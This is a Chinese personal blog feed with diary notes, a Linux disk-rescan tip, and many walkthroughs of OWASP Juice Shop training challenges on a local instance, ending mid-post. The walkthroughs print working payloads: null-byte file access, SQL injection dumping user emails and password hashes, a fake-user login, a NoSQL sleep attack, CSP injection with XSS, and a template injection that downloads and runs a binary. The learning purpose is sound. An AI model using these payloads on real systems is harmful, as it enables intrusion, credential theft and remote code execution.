Posts on 御衡的笔记

2026-05-22

Fri, 22 May 2026 01:45:13 +0800

2026-05-22

今日无事，随便打开了一个HTB，htb-Appointment，最后注入的时候忘记给单词闭合单引号了，卡了几分钟（雾

2026-04-30 关于AI 辅助生成 blog

Thu, 30 Apr 2026 15:08:13 +0800

2026-04-30 关于AI 辅助生成 blog

今天在看 Bitwarden 如何加密和解密密钥这篇文章的时候，想到了AI生成文章的一些问题，使用AI可以帮我更好的总结一些内容，润色一些文字上的不足，老实说我的文字功底一直都很差，在编写整个【juice shop】的过程中，我都是先使用比较潦草的过程笔记先记录下来，然后让claude sonnet和claude haiku给我润色一下的，但是逐渐发现他们可能会将我自己的思想抹去，留下了一个比较适中的一个笔记，我的一些吐槽和个人视角的描述都被改为了一个书面的表达。

今后我依旧会使用AI辅助编写文档、笔记、blog，但是不会再将所有内容都交给它们了，【juice shop】全文基本使用AI重写自己的内容也算是一个不错的尝试吧。

最近看看网络的趋势AI也分成了两派，拥抱AI和拒绝AI，我还是觉得这是AI的两面性，在效率上拥抱AI是好的，比如一个资深的开发使用AI可以达到3-5个自己的工作量（顶级牛马），而一个新手开发可能能达到1.5个自己的工作量，代码质量还不一定好；那么拒绝AI的人，大概是看到了AI的另一面，曾经在3个月高强度使用AI之后，我发现我对AI产生了一定的依赖性，做什么都会想着干脆使用AI弄一下，有那么一瞬间忘记浏览器怎么用了（bushi），随后我戒了一小会AI（这并不难），在逛b站视频的时候也能看到一些大佬发表一些关于AI的看法。现在的我认为AI可以使用，可以用来学习、提升效率，但是，在离开的AI之后，我们还剩下什么？记忆在自己的脑子里，笔记上，自己理解的部分才是自己的，AI终究只是个工具，AI终究只是外物，AI终究不是自己的力量。不能完全放弃AI之外的一切，所以我大部分编写代码的时候还是在手动编程。

五一假期前的最后一天，知识不进脑子，先到此为止吧。

2026-04-28

Tue, 28 Apr 2026 15:08:13 +0800

2026-04-28

今天读到这篇文章《猫猫周报 Vol.06|为什么你每天都在学，但不出货？》有一些收获

笔记：不重启Linux 手动触发 SCSI 总线扫描，刷新 `/dev` 磁盘列表

Mon, 27 Apr 2026 11:58:00 +0800

📝笔记：不重启Linux 手动触发 SCSI 总线扫描，刷新 `/dev` 磁盘列表

什么时候需要这样做？

在虚拟机或物理服务器上添加了新磁盘，但 lsblk 、fdisk -l 看不到。
给现有磁盘（如 /dev/sdb）扩容了后端存储空间，但 Linux 看到的还是旧大小。
不想重启系统，又不想装额外工具（如 sg3_utils），只想快速让内核重新识别磁盘。

核心原理

通过向 /sys/class/scsi_host/hostX/scan 写入 - - -，告诉 SCSI 子系统重新扫描该通道上的所有设备，内核就会刷新磁盘列表。

⚡ 操作步骤

查看当前所有的 SCSI 主机

`1`	`ls /sys/class/scsi_host/`

输出类似：

`1`	`host0 host1 host2`

对每个 host 执行扫描 可以逐个执行：

1
2

echo "- - -" | sudo tee /sys/class/scsi_host/host0/scan
echo "- - -" | sudo tee /sys/class/scsi_host/host1/scan

或者一条命令批量搞定所有 host：

`1`	`for host in /sys/class/scsi_host/host*; do echo "- - -" \| sudo tee $host/scan; done`

立刻检查是否生效
1 2 3

lsblk # 或者 sudo fdisk -l | grep "Disk /dev/"
新添加的磁盘（例如 sdb）或扩容后变大的磁盘应立刻出现。

💎 如果只需要刷新磁盘大小（分区不变）

磁盘已存在，只是后端 LUN 变大，需要更新内核识别的容量：

`1`	`echo 1 \| sudo tee /sys/block/sdb/device/rescan`

然后运行 lsblk /dev/sdb 确认 SIZE 已增大。

📌 注意事项

这是一个在线操作，不会影响现有磁盘数据，非常安全。
如果扫描后依然看不到新磁盘，请检查：
- 虚拟机设置中是否真的添加了硬盘（VMware「添加硬盘」、VirtualBox「添加虚拟硬盘」）。
- 物理机的线缆、RAID 卡是否已经识别新盘（可进入 BIOS 或 RAID 管理界面查看）。
某些老旧系统（如 RHEL 6）可能需要重启，但当前主流发行版（Ubuntu 20.04+，CentOS 7+）都支持此方法。

参考

封面图

【juice-shop】★★★★ GDPR Data Theft：利用订单追踪接口的信息泄露窃取他人数据

Sun, 19 Apr 2026 02:54:00 +0000

任务简报

🎯 挑战目标
将他人的个人资料偷走而不使用注入。

💡 官方提示 (Hints)
1. 欺骗数据导出功能，以提供给您更多实际不属于您的东西。
2. 你不应该试图窃取从未在该商店下过单的普通用户的数据。
3. 由于该数据导出功能的所有操作均在服务器端完成，因此无法通过篡改 HTTP 请求来解决此问题。
4. 检查包含用户特定数据的各种服务器响应，可能会让你发现开发人员犯的错误。

实战

步骤1：触发订单追踪请求

登录账户
购买任意一个商品
进入数据导出页面

使用 Burp Suite 抓包，在 HTTP 历史记录中找到订单追踪请求：

1
2

GET /rest/track-order/1e6f-c4fd320e33405cac HTTP/1.1
Host: 127.0.0.1:3000

步骤2：分析响应中的邮箱泄露

分析 /rest/track-order/ 接口的响应，发现邮箱字段中的元音字符被替换为 * 号：

{
  "email": "*dm*n@j**c*-sh.*p",
  ...
}

还原规则：

元音字母 a e i o u → *

*dm*n@j**c*-sh.*p
↓ 还原元音
admin@juice-sh.op

结论： 目标邮箱为 admin@juice-sh.op。

步骤3：构造相似邮箱

由于应用使用元音替换来混淆邮箱，我们注册一个将元音替换为相同字符的邮箱来欺骗数据导出功能：

1
2

目标邮箱: admin@juice-sh.op
注册邮箱: edmin@juice-sh.op

原理：

admin@juice-sh.op → 元音替换 → *dm*n@j**c*-sh.*p
edmin@juice-sh.op → 元音替换 → *dm*n@j**c*-sh.*p

两个邮箱替换后的结果完全相同！
数据导出功能无法区分这两个邮箱 ✅

步骤4：注册并导出数据

注册新账户，邮箱使用 edmin@juice-sh.op
登录该账户
访问数据导出功能，导出个人数据

结果： 成功获取 admin@juice-sh.op 的个人数据，挑战完成！🎉

参考

OWASP Juice Shop 官方解决方案 - GDPR Data Theft

【juice-shop】★★★★ Misplaced Signature File：通过 Null Byte 注入访问错误放置的 SIEM 签名文件

Sat, 18 Apr 2026 00:13:00 +0000

【juice-shop】★★★★ Misplaced Signature File：通过 Null Byte 注入访问错误放置的 SIEM 签名文件

0x01 任务简报

🎯 挑战目标
访问放置错误的 SIEM 签名文件。

💡 官方提示 (Hints)
1. 您需要欺骗安全机制，使其认为您想要的文件具有有效的文件类型。
2. 若您已解决其他四个文件访问挑战中的任意一个，那么您应该已经知道 SIEM 签名文件的位置。
3. 只需重复使用对上述文件已奏效的技巧即可。

0x02 实战：复现漏洞

步骤1：访问 FTP 目录

基于之前文件访问挑战的经验，直接访问 FTP 目录：

`1`	`http://127.0.0.1:3000/ftp/`

在目录列表中发现错误放置的 SIEM 签名文件 suspicious_errors.yml。

步骤2：使用 Null Byte 注入绕过访问限制

在文件名后添加 %2500.md 进行 Null Byte 注入：

`1`	`http://127.0.0.1:3000/ftp/suspicious_errors.yml%2500.md`

结果： 成功访问 suspicious_errors.yml 文件，挑战完成！🎉

【juice-shop】★★★★ Forgotten Sales Backup：通过 Null Byte 注入访问遗忘的销售备份文件

Sat, 18 Apr 2026 00:00:00 +0000

【juice-shop】★★★★ Forgotten Sales Backup：通过 Null Byte 注入访问遗忘的销售备份文件

0x01 任务简报

🎯 挑战目标
访问销售者遗忘的备份文件。

💡 官方提示 (Hints)
1. 您需要欺骗安全机制，使其认为您想要的文件具有有效的文件类型。
2. 分析和篡改应用程序中直接传递文件的链接。
3. 该文件无法直接访问，因为安全机制阻止了对其的访问。
4. 你需要欺骗安全机制，使其认为该文件具有有效的文件类型。
5. 面对这个挑战，实现这个技巧只有一种方法。

0x02 实战：复现漏洞

步骤1：访问 FTP 目录

基于之前文件访问挑战的经验，直接访问 FTP 目录：

`1`	`http://127.0.0.1:3000/ftp/`

在目录列表中发现遗忘的销售备份文件 coupons_2013.md.bak。

步骤2：使用 Null Byte 注入绕过访问限制

在文件名后添加 %2500.md 进行 Null Byte 注入：

`1`	`http://127.0.0.1:3000/ftp/coupons_2013.md.bak%2500.md`

结果： 成功下载 coupons_2013.md.bak 文件，挑战完成！🎉

0x03 ……

我感觉把 FTP 的文件全下载了能完成不少挑战（雾

【juice-shop】★★★★ Easter Egg && Nested Easter Egg：Null Byte 注入与多层加密解析

Fri, 17 Apr 2026 17:56:00 +0000

【juice-shop】★★★★ Easter Egg && Nested Easter Egg：Null Byte 注入与多层加密解析

Part 1 - Easter Egg

任务简报

🎯 挑战目标
找到隐藏的复活节彩蛋。

💡 官方提示 (Hints)
1. 若你已破解四项文件访问挑战中的任意一项，便已知晓彩蛋的藏匿之处。
2. 只需重复使用对上述文件已奏效的技巧即可。

实战：复现漏洞

步骤1：访问 FTP 目录

访问应用暴露的 FTP 目录：

`1`	`http://127.0.0.1:3000/ftp/`

在目录列表中发现隐藏的彩蛋文件 eastere.gg。

步骤2：使用 Null Byte 注入绕过访问限制

直接访问该文件会返回 403，在文件名后添加 %2500.md 进行 Null Byte 注入：

`1`	`http://127.0.0.1:3000/ftp/eastere.gg%2500.md`

Payload 说明：

部分	说明
`eastere.gg`	目标文件名
`%25`	URL 编码的 `%`
`00`	空字节的十六进制表示
`.md`	绕过扩展名检查的白名单后缀

解码流程：

%2500 → 第一次解码 → %00 → 第二次解码 → \0（空字节）

服务器检查: eastere.gg\0.md → 以 .md 结尾 ✅ 通过检查
文件系统:   eastere.gg\0.md → 在 \0 处截断 → eastere.gg ✅ 读取文件

结果： 成功下载 eastere.gg 文件，Part 1 挑战完成！🎉

还有第二关？

Part 2 - Nested Easter Egg

任务简报

🎯 挑战目标
使用一些高级加密分析来找到真正的复活节彩蛋。

💡 官方提示 (Hints)
1. 为了应对这一挑战，您可能必须绕过几层"意志坚定"的加密手段。
2. 请务必先解决"寻找隐藏彩蛋"的任务。
3. 为了应对这一挑战，您可能必须绕过几层"意志坚定"的加密手段。

实战：复现漏洞

步骤1：分析 eastere.gg 文件内容

下载的文件内容如下：

"恭喜，你找到了彩蛋！"
- 极其幽默的开发者

...

...

...

哦等等，这根本不是彩蛋！这只是个无聊的文本文件！真正的彩蛋在这里：

L2d1ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9uYS9ybmZncmUvcnR0L2p2Z3V2YS9ndXIvcm5mZ3JlL3J0dA==

祝你好运，彩蛋猎人！%

关键发现： 文件末尾包含一段 Base64 编码的字符串。

步骤2：Base64 解码

`1`	`echo "L2d1ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9uYS9ybmZncmUvcnR0L2p2Z3V2YS9ndXIvcm5mZ3JlL3J0dA==" \| base64 -d`

解码结果：

`1`	`/gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/jvguva/gur/rnfgre/rtt`

发现： 解码后的内容看起来像一个 URL 路径，但字母被替换了，疑似 ROT13 加密。

步骤3：ROT13 解密

`1`	`echo "/gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/jvguva/gur/rnfgre/rtt" \| tr 'A-Za-z' 'N-ZA-Mn-za-m'`

解密结果：

`1`	`/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg`

步骤4：访问真正的彩蛋

`1`	`http://127.0.0.1:3000/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg`

结果： 找到真正的彩蛋，Part 2 挑战完成！🎉

解密流程总结

┌─────────────────────────────────────────────────────────┐
│ 原始内容（eastere.gg 文件末尾）                         │
│ L2d1ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9u...      │
└──────────────────┬──────────────────────────────────────┘
                   │ Base64 解码
┌──────────────────▼──────────────────────────────────────┐
│ 第一层解密结果                                          │
│ /gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/...     │
└──────────────────┬──────────────────────────────────────┘
                   │ ROT13 解密
┌──────────────────▼──────────────────────────────────────┐
│ 第二层解密结果                                          │
│ /the/devs/are/so/funny/they/hid/an/easter/egg/...      │
└──────────────────┬──────────────────────────────────────┘
                   │ 访问 URL
┌──────────────────▼──────────────────────────────────────┐
│ 找到真正的彩蛋！                                        │
│ http://127.0.0.1:3000/the/devs/are/so/funny/...        │
└─────────────────────────────────────────────────────────┘

关键操作说明

Base64 编码

1
2
3

特点：将二进制数据编码为可打印的 ASCII 字符
识别：字符串末尾通常有 = 或 == 填充
解码：echo "..." | base64 -d

ROT13 加密

特点：将字母表中每个字母替换为其后第 13 个字母
识别：文本看起来像英文但无法阅读
解密：echo "..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'

示例：
A → N    N → A
B → O    O → B
g → t    t → g

参考资源

【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器

Fri, 17 Apr 2026 15:16:00 +0000

【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器

0x01 任务简报

🎯 挑战目标
通过利用任意命令执行，以恶意软件 juicy（juicy malware）感染服务器。

💡 官方提示 (Hints)
1. "SSTi" 清楚地表明这与 Angular 无关。另外，请确保仅使用我们的非恶意恶意软件。
2. 你既可以通过显而易见的谷歌搜索找到这些恶意软件，也可能偶然闯入某个位置极不恰当的隔离文件夹——里面恰好存放着所需的 URL 链接。
3. 让服务器下载并执行恶意软件是解决这一挑战的关键。
4. 本次挑战中，您无需以任何形式对恶意软件进行逆向工程。该操作将在后续解决"通过服务器请求服务器上的隐藏资源"挑战时被要求。

0x02 前置知识

什么是 SSTi（Server-Side Template Injection）

服务端模板注入是一种攻击方式，攻击者通过向模板引擎注入恶意代码，使服务器执行任意代码。

工作原理：

正常模板渲染:
模板: "Hello, {{username}}!"
输入: "Alice"
输出: "Hello, Alice!"

SSTi 注入:
模板: "Hello, {{username}}!"
输入: "{{7*7}}"
输出: "Hello, 49!"  ← 模板引擎执行了计算！

常见模板引擎的注入语法

模板引擎	语言	测试 Payload	预期输出
Jinja2	Python	`{{7*7}}`	`49`
Twig	PHP	`{{7*7}}`	`49`
Pebble	Java	`{{7*7}}`	`49`
Freemarker	Java	`${7*7}`	`49`
Velocity	Java	`#set($x=7*7)${x}`	`49`
Handlebars	Node.js	`{{#with "7*7"}}{{this}}{{/with}}`	`7*7`
Pug/Jade	Node.js	`#{7*7}`	`49`

本挑战使用的是 Pug 模板引擎（Node.js）

0x03 实战：复现漏洞

步骤1：发现 SSTi 注入点

在用户个人资料页面的用户名字段中，尝试输入模板注入测试 Payload：

测试 Payload：

#{1+1}

结果： 用户名显示为 2 而不是 #{1+1}，说明模板引擎执行了计算！

结论： 用户名字段存在 SSTi 漏洞，使用的是 Pug 模板引擎。

步骤2：寻找 juicy malware

方法1：Google 搜索

搜索关键词：juicy malware juice shop

找到 GitHub 项目：

`1`	`https://github.com/juice-shop/juicy-malware`

方法2：访问隔离文件夹

访问应用的隔离目录：

`1`	`http://127.0.0.1:3000/ftp/quarantine`

该目录中包含 juicy malware 的 GitHub 链接。

步骤3：构造命令执行 Payload

利用 Node.js 的 child_process 模块执行系统命令：

`1`	`#{global.process.mainModule.require('child_process').exec('wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware')}`

Payload 分解：

部分	说明
`#{}`	Pug 模板引擎的表达式语法
`global.process`	Node.js 全局进程对象
`mainModule`	主模块引用
`require('child_process')`	加载系统命令执行模块
`.exec(...)`	执行系统命令
`wget -O malware ...`	下载 malware 文件
`chmod +x malware`	赋予执行权限
`./malware`	执行 malware

命令执行流程：

# 第一步：下载 malware
wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true

# 第二步：赋予执行权限
chmod +x malware

# 第三步：执行 malware
./malware

步骤4：提交 Payload

将构造的 Payload 填入用户名字段并保存：

`1`	`#{global.process.mainModule.require('child_process').exec('wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware')}`

结果： 服务器下载并执行了 juicy malware，挑战完成！🎉

参考资源

OWASP Juice Shop 官方解决方案 - SSTi

【juice-shop】★★★★ User Credentials：通过 SQL 注入获取所有用户凭据

Fri, 17 Apr 2026 14:17:00 +0000

【juice-shop】★★★★ User Credentials：通过 SQL 注入获取所有用户凭据

任务简报

🎯 挑战目标
通过 SQL 注入获取所有用户凭据列表。

💡 官方提示 (Hints)
1. 收集关于储存用户数据的地点和如何处理的信息，然后制作一个相应的 UNION SELECT 攻击。
2. 尝试找到一个端点，使你能够影响从服务器检索的数据。
3. 构造一个 UNION SELECT 攻击字符串，将另一张表中的数据加入到原始结果中。
4. 你可能需要逐步解决一些查询语法问题，基本上是从一个错误跳到下一个错误。
5. 如同"订购 2014 年圣诞特惠套餐"和"通过 SQL 注入窃取整个数据库模式定义"，这些操作无法通过应用程序前端实现。

## 实战：复现漏洞

步骤1：发现注入点

目标接口为商品搜索 API，通过首页搜索功能获取请求包：

1
2

GET /rest/products/search?q= HTTP/1.1
Host: 127.0.0.1:3000

验证注入点：

`1`	`GET /rest/products/search?q='))--`

结果： 返回错误，确认存在 SQL 注入漏洞。

步骤2：确定列数

使用 ORDER BY 逐步增加列数，直到出现错误：

-- 测试 9 列
'))  ORDER BY 9--

-- URL 编码格式
'))+order+by+9--

结果： 确认查询结果共有 9 列。

步骤3：使用 SQLMap 获取数据库结构

第一步：保存请求包

将请求保存到 request.txt 文件：

1
2

GET /rest/products/search?q=* HTTP/1.1
Host: 127.0.0.1:3000

第二步：列出所有表

`1`	`sqlmap -r request.txt -p q --tables --batch --ignore-code=401`

第三步：列出 Users 表的列

`1`	`sqlmap -r request.txt -p q -T Users --columns --batch --ignore-code=401`

步骤4：确定显示位置

构造 UNION SELECT 测试每列的显示位置：

`1`	`1')) UNION SELECT '1','2','3','4','5','6','7','8','9' FROM Users--`

URL 编码格式：

`1`	`1'))+UNION+SELECT+'1','2','3','4','5','6','7','8','9'+FROM+Users--`

结果： 确认各列的显示位置。

步骤5：提取所有用户凭据

构造最终的注入 Payload，使用 -1 让正常查询结果不显示：

`1`	`-1')) UNION SELECT id, email, password, '4', '5', '6', '7', '8', '9' FROM Users--`

URL 编码格式：

`1`	`-1'))+UNION+SELECT+id,+email,+password,+'4',+'5',+'6',+'7',+'8',+'9'+FROM+Users--`

Payload 说明：

部分	说明
`-1`	让原始查询返回空结果（不存在 ID 为 -1 的商品）
`UNION SELECT`	将 Users 表数据附加到结果中
`id, email, password`	提取用户 ID、邮箱和密码哈希
`'4','5','6','7','8','9'`	填充剩余列（占位符）
`FROM Users`	数据来源表
`--`	注释掉后续 SQL 代码

结果： 成功获取所有用户的邮箱和密码哈希！

挑战完成！ 🎉

参考

OWASP Juice Shop 官方解决方案 - User Credentials

【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠

Fri, 17 Apr 2026 10:00:00 +0000

【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠

0x01 任务简报

🎯 挑战目标
让服务器休眠一段时间。（它为您做了足够多的艰苦工作）

💡 官方提示 (Hints)
1. 这个挑战本质上是一种简化的拒绝服务（DoS）攻击。
2. 如架构概述所述，OWASP Juice Shop 使用 MongoDB 的衍生版本作为其 NoSQL 数据库。
3. 将此挑战归类为 NoSQL 注入类别，完全暴露了预期的攻击途径。尝试其他方法都无法解决该挑战，即使可能产生相同结果。
4. 尤其需要注意的是，向应用程序发送海量请求并不能解决这个问题。这很可能只会导致服务器实例崩溃。

0x02 前置知识

NoSQL 注入 vs SQL 注入

特性	SQL 注入	NoSQL 注入
目标数据库	MySQL、SQLite 等	MongoDB、CouchDB 等
注入语法	SQL 语句	JavaScript 表达式
常见函数	`SLEEP()`、`BENCHMARK()`	`sleep()`、`Date.now()`
注释符	`--`、`#`	`//`、`/* */`

MongoDB 的 sleep() 函数

MongoDB 支持在查询中执行 JavaScript 代码，其中 sleep() 函数可以让数据库暂停执行：

1
2

// 让 MongoDB 休眠 2000 毫秒（2 秒）
sleep(2000)

危险性：

攻击者可以通过注入 sleep() 让服务器无响应
大量并发的 sleep 请求会导致服务器资源耗尽
这是一种简化版的拒绝服务（DoS）攻击

0x03 实战：复现漏洞

步骤1：发现注入点

使用 Burp Suite 抓包，打开应用首页并访问任意商品详情页面，在 HTTP 历史记录中找到商品评论接口：

1
2

GET /rest/products/1/reviews HTTP/1.1
Host: 127.0.0.1:3000

关键发现： URL 中的数字 1 是商品 ID，这是一个潜在的注入点。

将该请求发送到 Burp Suite Repeater。

步骤2：测试注入点

测试1：输入极高数值

`1`	`GET /rest/products/99999999/reviews`

结果： 返回空数组，状态码 200 ✅

测试2：输入单引号

`1`	`GET /rest/products/'/reviews`

结果： 返回错误，状态码 500 ❌

测试3：输入双引号

`1`	`GET /rest/products/"/reviews`

结果： 返回错误，状态码 500 ❌

结论： 该接口存在 NoSQL 注入漏洞，用户输入被直接拼接到数据库查询中。

步骤3：构造 sleep() Payload

根据题目要求，将商品 ID 替换为 sleep(2000) 函数：

1
2

GET /rest/products/sleep(2000)/reviews HTTP/1.1
Host: 127.0.0.1:3000

发送请求：

结果：

服务器延迟 2000 毫秒（2 秒）后才返回响应
挑战完成！🎉

参考

OWASP Juice Shop 官方解决方案 - NoSQL DoS

【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户

Fri, 17 Apr 2026 09:30:00 +0000

【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户

0x01 任务简报

🎯 挑战目标
在没有注册的情况下使用（不存在的）账号 acc0unt4nt@juice-sh.op 登录。

💡 官方提示 (Hints)
1. 尝试"凭空创建"所需的用户。
2. 用户必须具有短暂性，即"仅持续很短时间"。
3. 使用用户的电子邮件地址进行常规注册显然无法解决此问题。
4. 通过其他方式将用户导入数据库也无法解决此验证问题。
5. 该挑战属于注入类别的这一事实，本身就已揭示了其预期的解决思路。

0x02 前置知识

临时用户的概念

Ephemeral（短暂的） 意味着用户只在当前请求中存在，不会被持久化到数据库。

实现方式：

-- 不是 INSERT，而是在查询时动态构造用户数据
SELECT * FROM users
UNION
SELECT 15, '', 'acc0unt4nt@juice-sh.op', '12345', 'accounting', ...

SQLite 的 UNION 注入

SQLite 支持 UNION 查询，允许攻击者在查询结果中注入虚假数据。

关键特性：

列数必须匹配
数据类型必须兼容
可以使用子查询动态构造数据

0x03 实战：复现漏洞

步骤1：抓取登录请求

使用 Burp Suite 或浏览器开发者工具抓取登录请求：

POST /rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json

{"email":"test@test.com","password":"password"}

步骤2：探测 SQL 注入点

在 email 字段中注入 SQL 代码，使用 ORDER BY 来确定列数：

Payload 1：测试 13 列

`1`	`' order by 13 --+`

结果： 返回正常响应 ✅

Payload 2：测试 14 列

`1`	`' order by 14 --+`

结果： 返回错误响应 ❌

结论： 数据库表有 13 列

步骤3：使用 SQLMap 进行自动化注入

第一步：保存请求到文件

创建 request.txt 文件，内容为登录请求：

POST /rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json

{"email":"*","password":"1"}

第二步：列出所有表

`1`	`sqlmap -r request.txt -p email --tables --batch --ignore-code=401`

结果：

第三步：列出 Users 表的列

`1`	`sqlmap -r request.txt -p email -T Users --columns --batch --ignore-code=401`

结果：

步骤4：构造 UNION 注入 Payload

使用 UNION SELECT 动态创建临时用户：

' UNION SELECT * FROM (
  SELECT 
    15 as 'id', 
    '' as 'username', 
    'acc0unt4nt@juice-sh.op' as 'email', 
    '12345' as 'password', 
    'accounting' as 'role', 
    '123' as 'deluxeToken', 
    '1.2.3.4' as 'lastLoginIp', 
    '/assets/public/images/uploads/default.svg' as 'profileImage', 
    '' as 'totpSecret', 
    1 as 'isActive', 
    '1999-08-16 14:14:41.644 +00:00' as 'createdAt', 
    '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', 
    null as 'deletedAt'
)--

Payload 说明：

UNION SELECT - 将虚假数据与真实查询结果合并
SELECT ... FROM (...) - 子查询动态构造用户数据
所有 13 列都必须指定
数据类型和顺序必须匹配

步骤5：使用 Payload 登录

在登录表单中输入 Payload 作为邮箱：

1
2

邮箱: ' UNION SELECT * FROM (SELECT 15 as 'id', '' as 'username', 'acc0unt4nt@juice-sh.op' as 'email', '12345' as 'password', 'accounting' as 'role', '123' as 'deluxeToken', '1.2.3.4' as 'lastLoginIp' , '/assets/public/images/uploads/default.svg' as 'profileImage', '' as 'totpSecret', 1 as 'isActive', '1999-08-16 14:14:41.644 +00:00' as 'createdAt', '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', null as 'deletedAt')--
密码: 12345

登录成功！ 🎉

参考

OWASP Juice Shop 官方解决方案 - Ephemeral Accountant

【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击

Thu, 16 Apr 2026 11:40:00 +0000

【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击

0x01 任务简报

🎯 挑战目标
在应用的传统页面上绕过内容安全策略 CSP 并使用代码 <script>alert(`xss`)</script> 执行一个 XSS 攻击。

💡 官方提示 (Hints)
1. 还有比带有原生 RegEx 过滤器的旧版页面"更好"的了么？同样在页面中还有 CSP 注入问题！
2. 在应用程序中找到一个界面，它看起来与其他界面相比略显古怪且过时。
3. 在尝试任何跨站脚本攻击之前，你应该先了解该页面是如何设置其内容安全策略的。
4. 对于后续的跨站脚本攻击，请充分利用基于正则表达式的自建数据净化机制中的漏洞！

0x02 前置知识

Content-Security-Policy (CSP) 简介

CSP 是一种安全机制，通过 HTTP 响应头部限制浏览器可以加载和执行的资源类型。

常见指令：

指令	说明
`script-src`	控制脚本执行权限
`img-src`	控制图像加载权限
`'self'`	仅允许同源资源
`'unsafe-eval'`	允许 eval() 等动态代码执行
`'unsafe-inline'`	允许内联脚本和样式

推荐阅读： MDN - Content-Security-Policy

0x03 实战：复现漏洞

步骤1：注册账户并进入个人资料页面

注册一个新账户（例如 1@1.com）
登录后进入用户个人资料页面 /profile
使用 Burp Suite 抓包，观察响应头部 Content-Security-Policy 部分

步骤2：分析默认 CSP 策略

初始 CSP 头部：

`1`	`Content-Security-Policy: img-src 'self' /assets/public/images/uploads/default.svg; script-src 'self' 'unsafe-eval'`

策略分析：

指令	含义
`img-src 'self' /assets/public/images/uploads/default.svg`	仅允许同源和默认头像
`script-src 'self' 'unsafe-eval'`	仅允许同源脚本和 eval()

关键发现： 没有 'unsafe-inline'，所以内联脚本会被阻止。

步骤3：测试修改用户名

修改用户名为 1，观察 CSP 是否变化。

结果： CSP 保持不变。

步骤4：上传头像并观察 CSP 变化

上传一个本地头像文件。

上传后 CSP：

`1`	`Content-Security-Policy: img-src 'self' assets/public/images/uploads/23.jpg; script-src 'self' 'unsafe-eval'`

观察： img-src 指令被修改为上传的图像路径。

步骤5：尝试使用外部链接

在头像 URL 字段中输入一个外部链接（例如 https://www.leobenchoi.com/img/1.jpg）。

修改后 CSP：

`1`	`Content-Security-Policy: img-src 'self' https://www.leobenchoi.com/img/1.jpg; script-src 'self' 'unsafe-eval'`

关键发现： 用户输入的 URL 被直接注入到 CSP 头部！这是一个 CSP 注入漏洞。

步骤6：利用 CSP 注入修改脚本策略

构造一个恶意的图像 URL，在其中注入 CSP 指令：

`1`	`https://a.png; script-src 'unsafe-inline' 'self' 'unsafe-eval' https://www.leobenchoi.com/img/avatar_hu_18f34c9a04f13424.jpg`

注入后的 CSP：

Content-Security-Policy: img-src 'self' https://a.png; script-src 'unsafe-inline' 'self' 'unsafe-eval' https://www.leobenchoi.com/img/avatar_hu_18f34c9a04f13424.jpg; script-src 'self' 'unsafe-eval'

效果： 现在 script-src 包含了 'unsafe-inline'，允许内联脚本执行。

步骤7：利用正则表达式过滤漏洞

尝试在用户名字段中输入 XSS 代码：

`1`	<script>alert(`xss`)</script>

结果： 被过滤了。

分析过滤机制：

对比输入和过滤结果：

1
2

输入:  <script>alert(`xss`)</script>
过滤:  lert(`xss`)</script>

发现： 过滤器使用正则表达式删除 <script> 标签，但没有处理双写的情况。

步骤8：双写 Bypass 绕过过滤

使用双写技巧绕过正则表达式过滤：

`1`	<<script>ascript>alert(`xss`)</script>

工作原理：

原始输入: <<script>ascript>alert(`xss`)</script>
第一次删除 <script>: <ascript>alert(`xss`)</script>
（不匹配，保留）
浏览器解析: <script>alert(`xss`)</script>

结果： 过滤器删除第一个 <script>，剩余部分形成新的 <script> 标签。

步骤9：完成 XSS 攻击

在头像 URL 字段输入 CSP 注入 payload
在用户名字段输入双写 XSS payload
提交表单

成功： 弹窗显示 xss，挑战完成！

参考

【juice-shop】★★★★ Christmas Special：通过 SQL 注入订购已删除商品

Thu, 16 Apr 2026 00:00:00 +0000

【juice-shop】★★★★ Christmas Special：通过 SQL 注入订购已删除商品

任务简报

🎯 挑战目标
订购 2014 年圣诞节特别优惠商品。

💡 官方提示 (Hints)
1. 了解应用程序如何处理不可用商品并试图找到漏洞。
2. 了解该应用程序如何向客户隐藏已删除的产品。
3. 尝试构造一条攻击字符串，使已删除的产品重新可见。
4. 您需要将已删除的商品加入购物车并触发结账流程。
5. 上述两种方式均无法通过应用程序前端实现，甚至可能需要采用（半）盲注 SQL 注入技术。

实战：复现漏洞

步骤1：获取 SQL 注入 Payload

如果你已完成 Database Schema 挑战，可以直接使用该 Payload：

1'))--

Payload 说明：

1 - 闭合原始的 ID 参数
')) - 闭合原始的 SQL 语句
-- - SQL 注释符，忽略后续代码

如果未完成该挑战，可以通过以下方式构造：

步骤2：识别目标商品

访问应用的商品列表，寻找 2014 年圣诞节特别优惠商品。

识别方法：

使用搜索功能搜索 “Christmas”（中文用户搜索“圣诞”）
查看商品详情页面的 ID 号
记录目标商品的 ID（本例中为 ID: 10）

步骤3：获取添加购物车的请求

注册并登录一个账户
将任意一个可用商品添加到购物车
使用 Burp Suite 或浏览器开发者工具抓包
找到添加购物车的 POST 请求

步骤4：注入 SQL 绕过

